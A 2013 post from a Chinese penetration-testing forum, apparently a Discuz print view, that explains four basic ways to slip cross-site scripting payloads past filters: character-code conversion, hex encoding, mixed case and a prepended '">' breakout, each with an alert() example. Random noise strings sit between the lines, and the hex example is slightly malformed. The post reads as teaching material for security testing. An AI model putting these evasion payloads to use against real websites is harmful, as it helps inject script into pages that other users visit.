中国网络渗透测试联盟
标题:
XSS 绕过技术
[打印本页]
作者:
admin
时间:
2013-2-14 00:10
标题:
XSS 绕过技术
四种超级基础的绕过方法。
; Q( V0 ^3 V& X% @
1.转换为ASCII码
! Q' {+ j% i% R7 @! w6 R* \
例子:原脚本为<script>alert(‘I love F4ck’)</script >
" j3 j+ S$ x. \' a4 S' l
通过转换,变成:
' L, S2 ~+ {( a. h7 z1 D
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
- M% m3 Q$ X: U; ?
* K" H9 ?4 Z- H; ~
2.转换为HEX(十六进制)
' L( M3 L. j8 h+ Z. p6 `
例子:原脚本为<script>alert(‘I love F4ck’)</script>
/ ~7 R* Z) d9 c# o+ _, |3 j$ N
通过转换,变成:
& P- Z9 ^& C' |5 r$ @: [
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
1 U; z; q# O, u4 e; S- O, o1 D: S
0 Y6 b( t6 F* q' T! v- m) M* w
3.转换脚本的大小写
: ~" G. `, @0 w- b- F0 Y- ]( r
例子:原脚本为<script>alert(‘I love F4ck’)</script>
/ z, g! e7 x7 o! Z
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
3 ?- I8 F" {0 D
7 I' ]! m, ~. q
4.增加闭合标记”>
f3 C. ~4 F$ L( D5 f8 u
例子:原脚本为<script>alert(‘I love F4ck’)</script>
5 V' q7 V8 a; q J
转换为:”><script>alert(‘I love F4ck’)</script>
p7 b* Z; M. s. F
更详细绕过技术请参考此网页
0 l2 [2 l' X9 g) X
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
2 K: I; T1 R& }9 d' A2 Q
1 y& U, Y% N$ T6 r
转换工具使用的是火狐的 hackbar mozilla addon.
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2